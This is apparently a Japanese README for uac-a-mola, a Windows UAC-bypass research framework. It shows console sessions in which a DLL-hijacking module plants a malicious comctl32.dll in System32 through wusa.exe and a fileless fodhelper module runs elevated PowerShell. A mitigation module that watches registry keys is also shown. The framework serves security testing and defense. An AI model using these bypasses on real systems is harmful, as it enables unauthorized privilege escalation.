
Windows UACバイパス攻撃とその対策のためのモジュール式フレームワークで、DLLハイジャック、ファイルレス実行、リアルタイム監視を特徴とし、特権昇格の試行を検出・ブロックします。
uac-a-mola をインストールするには、以下の操作を実行する必要があります。
pip install -r requirements.txt
Uac-a-mola の準備は完了です!以下のように入力して機能をテストできます:
cd uacamola
python uacamola.py
このセクションでは、uac-a-mola のモジュールの一部の使用法について簡単に説明します。
攻撃モジュールの使用は非常に簡単で、ほとんど説明を必要としません。フレームワーク内で load コマンドを使用して対応するモジュールをロードし、show コマンドでオプションまたは入力パラメータを確認し、run コマンドでモジュールを実行するだけです:
uac-a-mola> load .\modules\attack\dll_hijacking_wusa.py
[+] Loading module...
[+] Module loaded!
uac-a-mola[dll_hijacking_wusa.py]> show
Author
------
|_Pablo Gonzalez (pablo@11paths or @pablogonzalezpe)
Name
----
|_Copy DLL with wusa.exe
Description
-----------
|_It's used for copy a DLL in privilege path (wusa method win7/8/8.1)
Options (Field = Value)
-----------------------
|_name_dll = comctl32.dll (name of DLL)
|
|_binary = compmgmtlauncher.exe (Path to the vulnerable binary)
|
|_malicious_dll = C:\Users\ieuser\Desktop\uac-a-mola\uacamola\payloads\comctl32\comctl32.dll (Path to a malicious dll)
|
|_name_folder = x86_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.17514_none_41e6975e2bd6f2 (Name folder)
|
|_destination_path = C:\Windows\System32 (Destination path)
uac-a-mola[dll_hijacking_wusa.py]> run
[+] Running module...
creating path...
SUCCESS: done
copying dll in path...
SUCCESS: done
creating DDF file...
SUCCESS: done
creating CAB file...
SUCCESS: done
launch wusa.exe /extract
SUCCESS: done! got root? :D
removing path...
SUCCESS: done
uac-a-mola[dll_hijacking_wusa.py]>
別の例:
uac-a-mola> load modules\attack\fileless_fodhelper.py
[+] Loading module...
[+] Module loaded!
uac-a-mola[fileless_fodhelper.py]> show
Author
------
|_Santiago Hernandez Ramos
Name
----
|_Fileless Fodhelper
Description
-----------
|_Fileless - Fodhelper bypass UAC
Options (Field = Value)
-----------------------
|_instruction = C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -C echo mola > c:\pwned.txt (Elevated Code)
uac-a-mola[fileless_fodhelper.py]> set instruction powershell.exe
uac-a-mola[fileless_fodhelper.py]> run
[+] Running module...
緩和方法の使用も非常に簡単ですが、内部構造は少し複雑です。このセクションで説明します。使用に関しては、最初に利用可能な緩和モジュールをロードする必要があります:
uac-a-mola> load modules\mitigation\bypass_mitigation.py
[+] Loading module...
[+] Module loaded!
uac-a-mola[bypass_mitigation.py]> show
Author
------
|_Santiago Hernandez Ramos
Name
----
|_This module will instrument the binaries selected and detect possible UAC bypasses
Description
-----------
|_Bypass Mitigation
Options (Field = Value)
-----------------------
|_[REQUIRED] password = None (Password for connection)
|
|_[REQUIRED] binlist_file = None (File with a list of binaries to hook, one on each line)
|
|_port = 5555 (Port for connection)
この場合、エージェントが uacamola フレームワークで実行されるリスナーと通信するためのパスワードを設定する必要があります。エージェントは uacamola/support/agents パスにあります。そのファイルを開くとパスワードが確認できます:
fodhelper_ag = Agent('fodhelper.exe', 'localhost', 5555, 'uacamola')
fodhelper_ag.send_forbidden("Software\\Classes\\ms-settings\\Shell\\Open\\command")
uacamola が認証と通信に使用されるパスワードになりますが、変更することもできます。 もう一つの必須パラメータは、監視するバイナリのリストを含むファイルへのパスです。これらのバイナリには、エージェントのパスに agent.pyw ファイルが存在する必要があります。
uac-a-mola[bypass_mitigation.py]> show
Author
------
|_Santiago Hernandez Ramos
Name
----
|_This module will instrument the binaries selected and detect possible UAC bypasses
Description
-----------
|_Bypass Mitigation
Options (Field = Value)
-----------------------
|_password = uacamola (Password for connection)
|
|_binlist_file = bins.txt (File with a list of binaries to hook, one on each line)
|
|_port = 5555 (Port for connection)
uac-a-mola[bypass_mitigation.py]> run
[+] Running module...
[+] Executing the listener...
--- Press ENTER for quit mitigate mode ---
これらのフィールドに入力して run コマンドを実行するだけで、uacamola はリスト内のバイナリにおける UAC バイパスに関連するすべてのアクティビティの監視を開始します。危険なアクティビティが検出された場合、自動的に危険なブランチ(ファイルシステムまたはレジストリの)を削除し、バイナリを安全な方法で実行します。このモードを終了するには、ENTER キーを押すだけです。
エラーは [email protected] に報告するか、GitHub でイシューをオープンしてください。ご協力ありがとうございます!
本ソフトウェアは「現状のまま」提供され、明示または黙示を問わず、商品性、特定目的への適合性、および非侵害の保証を含むがこれに限定されない、いかなる種類の保証もありません。いかなる場合においても、著作者または著作権所有者は、契約、不法行為、その他に基づくかどうかにかかわらず、本ソフトウェアまたはその使用もしくはその他の取引から生じる、いかなる請求、損害、その他の責任についても責任を負いません。ライセンスの通知を含むリポジトリに貢献する場合、あなたは同じ条件で自分の貢献をライセンスし、それらの条件で自分の貢献をライセンスする権利があることに同意するものとします。貢献者ライセンス契約など、異なる条件で貢献をライセンスする個別の契約がある場合、その契約が優先されます。